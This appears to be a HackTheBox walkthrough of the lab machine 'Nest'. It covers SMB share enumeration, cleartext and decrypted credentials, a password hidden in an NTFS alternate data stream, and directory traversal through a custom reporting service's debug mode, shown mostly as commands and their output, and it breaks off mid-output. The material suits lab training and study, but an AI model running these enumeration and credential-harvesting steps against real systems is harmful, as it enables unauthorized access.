Post

HTB: Nest Writeup

In this post we're resolving Nest machine from HackTheBox, this is cataloged as an easy Windows box where SMB guest access leads to low-privileged credentials. Dive into configuration files for sensitive info, uncover a password through source code analysis, and decrypt Administrator credentials by enumerating a custom service.


Machine Information

Synopsis

Nest is an easy difficulty Windows machine featuring an SMB server that permits guest access. The shares can be enumerated to gain credentials for a low privileged user. This user is found to have access to configuration files containing sensitive information. Another user’s password is found through source code analysis, which is used to gain a foothold on the box. A custom service is found to be running, which is enumerated to find and decrypt Administrator credentials.

General Information

MachineNest
OSWindows
DificultyEasy
Stars3.9
Release Date25 Jan 2020

Recon

Service Enumeration

First we’re gonna start doing a service scan using nmap, we’re also perfoming a service version detection and executing default nmap scripts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sudo nmap -p- -sSVC --min-rate 8000 --min-parallelism 100 -n -oN machine_services.txt 10.10.10.178
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 13:38 MST
Nmap scan report for 10.10.10.178
Host is up (0.091s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     Reporting Service V1.2
|     Unrecognised command
|   Help:
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.94SVN%I=7%D=9/1%Time=66D4D0E5%P=x86_64-pc-linux-gnu%r(
SF:NULL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericL
SF:ines,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecogni
SF:sed\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\
SF:x20V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20com
SF:mand\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\
SF:r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Re
SF:porting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nH
SF:QK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-09-01T20:41:39
|_  start_date: 2024-09-01T19:48:36

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We discovered two open TCP ports on the machine: SMB on port 445 and a service called Reporting Service on port 4386. Nmap scripts devealed that the Reporting Service is running version 1.2, we must keep this in mind for future attack vectors. Since SMB is a well-known protocol, it’s easier to enumerating it, so let’s start by trying to get some null sessions or annonymous logins.

SMB Anonymous Login

I always use smbmap to perform this type of enumeration, since we can see what privileges we have on each share. There are many tools to perform SMB enumeration. we could also use other tools such as crackmapexec, some auxiliary msf module, etc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ smbmap -H "10.10.10.178" -u "guest" -p ""

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.178:445        Name: 10.10.10.178              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 NO ACCESS
        Users                                                   READ ONLY
[*] Closed 1 connections

We can see that there are non-standard shares. Additionally we have read access to Data and Users, so let’s explore…

Now we proceed to download the content both shares

Data Share

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir SMB/Data -pcd SMB/Data
❯ smbclient \\\\10.10.10.178\\Data -U "anonymous" -N
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \IT\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Reports\*
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Shared/Maintenance/Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Shared/Templates/HR/Welcome Email.txt (1.2 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \>

Users Share

1
2
3
4
5
6
7
8
9
10
11
❯ smbclient \\\\10.10.10.178\\Users -U "anonymous" -N
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Administrator\*
NT_STATUS_ACCESS_DENIED listing \C.Smith\*
NT_STATUS_ACCESS_DENIED listing \L.Frost\*
NT_STATUS_ACCESS_DENIED listing \R.Thompson\*
NT_STATUS_ACCESS_DENIED listing \TempUser\*
smb: \>

Unfortunately we couldn’t retrieve any files from the Users share, but no worries, we got two files from Data, so let’s take a look…

Examining Shares Content

Since the Data share contains four directories we can quickly find the files within these directories.

1
2
3
 find . -type f
./Shared/Maintenance/Maintenance Alerts.txt
./Shared/Templates/HR/Welcome Email.txt

If we look at the content of these files, we will find a welcome template and some instructions for accessing the user’s home folder. Aditionally we will find some credentials for the user TempUser.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
cat "./Shared/Maintenance/Maintenance Alerts.txt"
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: ./Shared/Maintenance/Maintenance Alerts.txt
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ There is currently no scheduled maintenance work
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

❯ cat "./Shared/Templates/HR/Welcome Email.txt"
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: ./Shared/Templates/HR/Welcome Email.txt
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
   2   │
   3   │ You will find your home folder in the following location:
   4   │ \\HTB-NEST\Users\<USERNAME>
   5   │
   6   │ If you have any issues accessing specific services or workstations, please inform the
   7   │ IT department and use the credentials below until all systems have been set up for you.
   8   │
   9   │ Username: TempUser
  10   │ Password: welcome2019
  11   │
  12   │
  13   │ Thank you
  14   │ HR
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

We can use CrackMapExec to comfirm if these credentials are valid.

1
2
3
❯ crackmapexec smb 10.10.10.178 -u "TempUser" -p "welcome2019"
SMB         10.10.10.178    445    HTB-NEST         [*] Windows 7 / Server 2008 R2 Build 7601 (name:HTB-NEST) (domain:HTB-NEST) (signing:False) (SMBv1:False)
SMB         10.10.10.178    445    HTB-NEST         [+] HTB-NEST\TempUser:welcome2019

Enumeration using credentials

If we enumerate shares using the credentials we obtained, we will see that now we have access to a new share named Secure$

1
2
3
4
5
6
7
8
9
10
11
12
❯ crackmapexec smb 10.10.10.178 -u "TempUser" -p "welcome2019" --shares
SMB         10.10.10.178    445    HTB-NEST         [*] Windows 7 / Server 2008 R2 Build 7601 (name:HTB-NEST) (domain:HTB-NEST) (signing:False) (SMBv1:False)
SMB         10.10.10.178    445    HTB-NEST         [+] HTB-NEST\TempUser:welcome2019
SMB         10.10.10.178    445    HTB-NEST         [+] Enumerated shares
SMB         10.10.10.178    445    HTB-NEST         Share           Permissions     Remark
SMB         10.10.10.178    445    HTB-NEST         -----           -----------     ------
SMB         10.10.10.178    445    HTB-NEST         ADMIN$                          Remote Admin
SMB         10.10.10.178    445    HTB-NEST         C$                              Default share
SMB         10.10.10.178    445    HTB-NEST         Data            READ
SMB         10.10.10.178    445    HTB-NEST         IPC$                            Remote IPC
SMB         10.10.10.178    445    HTB-NEST         Secure$         READ
SMB         10.10.10.178    445    HTB-NEST         Users           READ

Obviously we must take a look at it, but i can tell you in advance that we will find nothing as we don’t have listing privileges. So now, we enumerate the previous shares using the credentials, we might find something intersting that we didn’t have access to before.

When we download the content of Data, we will get many more files than when we did it without providing credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ smbclient \\\\10.10.10.178\\Data -U "TempUser"
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Shared/Maintenance/Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Configs\Adobe\editing.xml of size 246 as IT/Configs/Adobe/editing.xml (0.7 KiloBytes/sec) (average 0.4 KiloBytes/sec)
getting file \IT\Configs\Adobe\Options.txt of size 0 as IT/Configs/Adobe/Options.txt (0.0 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \IT\Configs\Adobe\projects.xml of size 258 as IT/Configs/Adobe/projects.xml (0.7 KiloBytes/sec) (average 0.4 KiloBytes/sec)
getting file \IT\Configs\Adobe\settings.xml of size 1274 as IT/Configs/Adobe/settings.xml (2.4 KiloBytes/sec) (average 1.0 KiloBytes/sec)
getting file \IT\Configs\Atlas\Temp.XML of size 1369 as IT/Configs/Atlas/Temp.XML (2.5 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \IT\Configs\Microsoft\Options.xml of size 4598 as IT/Configs/Microsoft/Options.xml (9.2 KiloBytes/sec) (average 2.6 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\config.xml of size 6451 as IT/Configs/NotepadPlusPlus/config.xml (13.2 KiloBytes/sec) (average 4.1 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\shortcuts.xml of size 2108 as IT/Configs/NotepadPlusPlus/shortcuts.xml (3.9 KiloBytes/sec) (average 4.1 KiloBytes/sec)
getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as IT/Configs/RU Scanner/RU_config.xml (0.7 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Shared/Templates/HR/Welcome Email.txt (1.1 KiloBytes/sec) (average 3.6 KiloBytes/sec)
smb: \>

We can do a recursive grep to search for some password in the retrieved files, let’s take a look:

1
2
3
grep -Hri "password"
Data/IT/Configs/RU Scanner/RU_config.xml:  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
Data/Shared/Templates/HR/Welcome Email.txt:Password: welcome2019

We will find the password for TempUser and another that appears to be encoded in base64. If we decode the string, we will find out that is actually encrypted and there isn’t much we can do with it.

1
2
3
❯ xxd <(base64 -d <<< "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")
00000000: 7d31 3301 f603 a33d 58ce 4aa1 4241 fa19  }13....=X.J.BA..
00000010: 0158 2a9d 5763 9866 edb8 ce3f ceb2 6311  .X*.Wc.f...?..c.

Aside from the files we retrieved without credentials, we’ll find that there are some configuration file in various formats. We can count how many lines each file has and focus on those that have more.

1
2
3
4
5
6
7
8
9
10
❯ find . -type f -exec wc -l {} \;
2 ./Adobe/editing.xml
0 ./Adobe/Options.txt
2 ./Adobe/projects.xml
15 ./Adobe/settings.xml
2 ./Atlas/Temp.XML
61 ./Microsoft/Options.xml
102 ./NotepadPlusPlus/config.xml
25 ./NotepadPlusPlus/shortcuts.xml
5 ./RU Scanner/RU_config.xml

Analyzing the configuration file for Notepad++ (./NotepadPlusPlus/config.xml), we can see some file paths at the end.

1
2
3
4
5
   <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>

Well, one of them is a SMB path, besides this file is within Secure$, a share in which we have read access, so let’s see if we can read the file…

1
2
3
4
❯ smbclient \\\\10.10.10.178\\Secure$ -U "TempUser" -c "get IT\Carl\Temp.txt"
Password for [WORKGROUP\TempUser]:
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \IT\Carl\Temp.txt

As we can see, it seems that the Temp.txt file doesn’t exist. Anyway, we have discovered a folder within the Secure$ share (IT\Carl), let’s see if we have listing rights.

We found some folders, so let’s get and analyze them

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ smbclient //10.10.10.178/Secure$ -U "TempUser"
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> cd IT/Carl
smb: \IT\Carl\> ls
  .                                   D        0  Wed Aug  7 12:42:14 2019
  ..                                  D        0  Wed Aug  7 12:42:14 2019
  Docs                                D        0  Wed Aug  7 12:44:00 2019
  Reports                             D        0  Tue Aug  6 06:45:40 2019
  VB Projects                         D        0  Tue Aug  6 07:41:55 2019

                5242623 blocks of size 4096. 1840038 blocks available
smb: \IT\Carl\> recurse on
smb: \IT\Carl\> prompt off
smb: \IT\Carl\> mget *
getting file \IT\Carl\Docs\ip.txt of size 56 as Docs/ip.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Carl\Docs\mmc.txt of size 73 as Docs/mmc.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner.sln of size 871 as VB Projects/WIP/RU/RUScanner.sln (2.1 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\ConfigFile.vb of size 772 as VB Projects/WIP/RU/RUScanner/ConfigFile.vb (1.6 KiloBytes/sec) (average 1.0 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\Module1.vb of size 279 as VB Projects/WIP/RU/RUScanner/Module1.vb (0.6 KiloBytes/sec) (average 0.9 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\RU Scanner.vbproj of size 4828 as VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj (8.8 KiloBytes/sec) (average 2.5 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\RU Scanner.vbproj.user of size 143 as VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj.user (0.3 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\SsoIntegration.vb of size 133 as VB Projects/WIP/RU/RUScanner/SsoIntegration.vb (0.3 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\Utils.vb of size 4888 as VB Projects/WIP/RU/RUScanner/Utils.vb (9.0 KiloBytes/sec) (average 2.8 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Application.Designer.vb of size 441 as VB Projects/WIP/RU/RUScanner/My Project/Application.Designer.vb (1.1 KiloBytes/sec) (average 2.7 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Application.myapp of size 481 as VB Projects/WIP/RU/RUScanner/My Project/Application.myapp (1.2 KiloBytes/sec) (average 2.6 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\AssemblyInfo.vb of size 1163 as VB Projects/WIP/RU/RUScanner/My Project/AssemblyInfo.vb (2.8 KiloBytes/sec) (average 2.6 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Resources.Designer.vb of size 2776 as VB Projects/WIP/RU/RUScanner/My Project/Resources.Designer.vb (4.8 KiloBytes/sec) (average 2.8 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Resources.resx of size 5612 as VB Projects/WIP/RU/RUScanner/My Project/Resources.resx (10.7 KiloBytes/sec) (average 3.4 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Settings.Designer.vb of size 2989 as VB Projects/WIP/RU/RUScanner/My Project/Settings.Designer.vb (5.4 KiloBytes/sec) (average 3.6 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Settings.settings of size 279 as VB Projects/WIP/RU/RUScanner/My Project/Settings.settings (0.6 KiloBytes/sec) (average 3.4 KiloBytes/sec)
smb: \IT\Carl\>

Apprently we just found a VisualBasic project named RUScanner. Interesting…


Foothold

Analyzing VB Project Source Code

Since we found a Visual Studio Project we can use it to analyze the source code. Oh no… I forgot about it — I don’t know Visual Basic, but no problem; there’s a great extension in Visual Studio that will help us convert an entire VB project code into C# code, just in case you prefer reading C# code. Here’s also the GitHub Repository of the extention. img_2

Another way to do this is building the source code and then analyze the binaries using dnSpy for example.

Taking a look to Main method

The entry point for the project is in the Module1.cs class. It seems that this class is trying to create an instance of ConfigFile class using a file named RU_Config.xml, and then creating another instance for SsoIntegration class using ConfigFile object properties, such as, Config.Username and applying a method called DecryptString from the Utils class to Config.Password.

img_3

Decrypting c.smith password

If we run the application it will fail, since we don’t have the RU_Config.xml file… Or do we? Remember we saw an encrypted password that came from a file called RU_Config.xml?

1
2
3
4
5
6
7
8
❯ smbclient "//10.10.10.178/Data/" -U "TempUser" -c 'get "IT/Configs/RU Scanner/RU_config.xml" -'
Password for [WORKGROUP\TempUser]:
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as - (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)

Well, we can copy this file into the project and see what happens. If we run the project, we will get an System.IO.FileNotFoundException, indicating that RU_Config.xml file could not be found.

img_4

So we just need to copy RU_Config.xml file from the SMB Data Share to the path where the application is looking for it… And then the error will disappear.

So, now we can simply print the SsoIntegration password attribute, as it contains the decrypted password. img_5

Another way to get the decrypted password is just calling the DecryptString method from Utils.cs class and pass the encrypted password as an argument, this is a more direct approach. img_6

So nice, we got credentials for c.smith user. First I am going use CrackMapExec to confirm if these are valid credentials.

1
2
3
❯ crackmapexec smb 10.10.10.178 -u c.smith -p "xRxRxPANCAK3SxRxRx"
SMB         10.10.10.178    445    HTB-NEST         [*] Windows 7 / Server 2008 R2 Build 7601 (name:HTB-NEST) (domain:HTB-NEST) (signing:False) (SMBv1:False)
SMB         10.10.10.178    445    HTB-NEST         [+] HTB-NEST\c.smith:xRxRxPANCAK3SxRxRx

Alright, now we’ve got access to c.smith account. Let’s see what can we do with this user…

Enumerating with C.Smith

Enumerating SMB

We will find some resources in the C.Smith share, including the user flag and another folder named HQK Reporting

1
2
3
4
5
6
7
8
9
10
11
❯ smbclient "//10.10.10.178/Users/" -U "c.smith%xRxRxPANCAK3SxRxRx"
Try "help" to get a list of possible commands.
smb: \> cd C.Smith
smb: \C.Smith\> ls
  .                                   D        0  Sun Jan 26 00:21:44 2020
  ..                                  D        0  Sun Jan 26 00:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 16:06:17 2019
  user.txt                            A       34  Sun Sep  1 12:49:58 2024

                5242623 blocks of size 4096. 1839358 blocks available
smb: \C.Smith\>

So now let’s get those files into our machine and investigate them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cd SMB/Users/C.Smith

❯ smbclient "//10.10.10.178/Users/" -U "c.smith%xRxRxPANCAK3SxRxRx"
Try "help" to get a list of possible commands.
smb: \> cd C.Smith
smb: \C.Smith\> recurse on
smb: \C.Smith\> prompt off
smb: \C.Smith\> mget *
getting file \C.Smith\user.txt of size 34 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt of size 0 as HQK Reporting/Debug Mode Password.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \C.Smith\HQK Reporting\HQK_Config_Backup.xml of size 249 as HQK Reporting/HQK_Config_Backup.xml (0.7 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \C.Smith\HQK Reporting\AD Integration Module\HqkLdap.exe of size 17408 as HQK Reporting/AD Integration Module/HqkLdap.exe (23.0 KiloBytes/sec) (average 10.1 KiloBytes/sec)
smb: \C.Smith\> exitcat user.txt
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: user.txt
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 1ab7d1...
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Privilege Escalation

If we dive into the HQK Reporting folder, we will find some interesting files. There is a file named Debug Mode Password.txt, but it is empty. Reading the HQK_Config_Backup.xml file we’ll find an element containing the same port we saw for Reporting Service V1.2 (4386).

1
2
3
4
5
6
7
8
9
10
❯ cat HQK_Config_Backup.xml
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: HQK_Config_Backup.xml
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?xml version="1.0"?>
   2   │ <ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   3   │   <Port>4386</Port>
   4   │   <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
   5   │ </ServiceSettings>
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

We can use telnet to interact with that service and investigate what it does.

Interacting with HQK Service

Connecting with the service, we discovered that we’re dealing with a service named HQK Reporting Service V1.2, I’m not sure if this service was developed for this machine or if it is actually used in real environments, anyway I couldn’t find any information on Google.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>?

Unrecognised command
>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>

Using the Help command we see five available commands.

  1. LIST will list the content of the actual directory (like ls).
  2. SETDIR will change the current directory(like cd).
  3. RUNQUERY will fail due an invalid database configuration.
  4. DEBUG is unknown, it requires a password.

Unfortunately, there isn’t much we can do with these commands. There is no point on navigate the file system if we can’t read files with RUNQUERY command.

But we still don’t know what the DEBUG command does. If only we had the password…

There ins’t much we can do with the HqkLdap.exe binary except waste our time trying to find something in it’s source code. If we remember there were a file named Debug Mode Password.txt, but it was empty.

Damn, a dead end?! It was for me.

ADS In SMB Share

ADS Concept

NTFS file systems have a feature called Alternate Data Streams, this allows you to add a another data stream to a file, this means that you can add aditional data to be associated with a file or directory beyond the standard data stream. This allow you to ‘hide’ any type of file within another one (executables, images, videos, etc). Something scary about ADS is that this attribute is not visible in Windows File Explorer, it doesn’t modify the size of the file and it will not change checksum values. While NTFS uses ADS primarily to store metadata and extended attributes, it can also be used to store files. If you want to know learn more about ADS, I’d recommend this article: How NTFS Alternate Data Streams Introduce Security Vulnerability.

Looking for ADS Attribute

We can return to the C.Smith SMB Share and search for detailed metadata information, we can do it using the allinfo <file> SMB command.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ smbclient "//10.10.10.178/Users/" -U "c.smith%xRxRxPANCAK3SxRxRx"
Try "help" to get a list of possible commands.
smb: \> cd C.Smith
smb: \C.Smith\> cd "HQK Reporting"
smb: \C.Smith\HQK Reporting\> allinfo ./HQK_Config_Backup.xml
altname: HQK_CO~1.XML
create_time:    Wed Aug  7 02:12:31 PM 2019 MST
access_time:    Thu Aug  8 03:59:35 AM 2019 MST
write_time:     Thu Aug  8 04:09:06 PM 2019 MST
change_time:    Wed Jul 21 11:47:15 AM 2021 MST
attributes: A (20)
stream: [::$DATA], 249 bytes
smb: \C.Smith\HQK Reporting\>

The primary data stream of a file is always named $DATA. As we can see, this is the only data stream in the HQK_Config_Backup.xml file. Let’s examine other files to see if there are additional data streams.

We’ve found an additional data stream in the Debug Mode Password.txt file named Password, it appears to contain the password needed to access the HQK Service with DEBUG privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 04:06:12 PM 2019 MST
access_time:    Thu Aug  8 04:06:12 PM 2019 MST
write_time:     Thu Aug  8 04:08:17 PM 2019 MST
change_time:    Wed Jul 21 11:47:12 AM 2021 MST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt":Password
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password of size 15 as Debug Mode Password.txt:Password (0.0 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \C.Smith\HQK Reporting\>cat Debug\ Mode\ Password.txt:Password
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Debug Mode Password.txt:Password
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ WBQ201953D8w
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

HQK Service DEBUG Mode

We’ve obtained DEBUG and now we have access to a few new commands. However, we still can’t execute queries and continue receiving the same error message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>DEBUG WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>HELP

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
>

The SERVICE command provices information about server such as, the server hostname, a path to the service executable, and some other details.

The SESSION also gives information, but it’s even less useful.

The SHOWQUERY <Query_Id> command appears to query certain attributes in the files, interesting…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  COMPARISONS
[1]   Invoices (Ordered By Customer)
[2]   Products Sold (Ordered By Customer)
[3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
>SHOWQUERY 1

TITLE=Invoices (Ordered By Customer)
QUERY_MODE=VIEW
QUERY_TYPE=INVOICE
SORTBY=CUSTOMER
DATERANGE=ALL

Remember that we can use SETDIR command to change our location in the filesystem. So now we can use SHOWQUERY command to obtain file information or even read the files. Look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>SETDIR ..\

Current directory set to HQK
>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK
>SHOWQUERY 3

<?xml version="1.0"?>
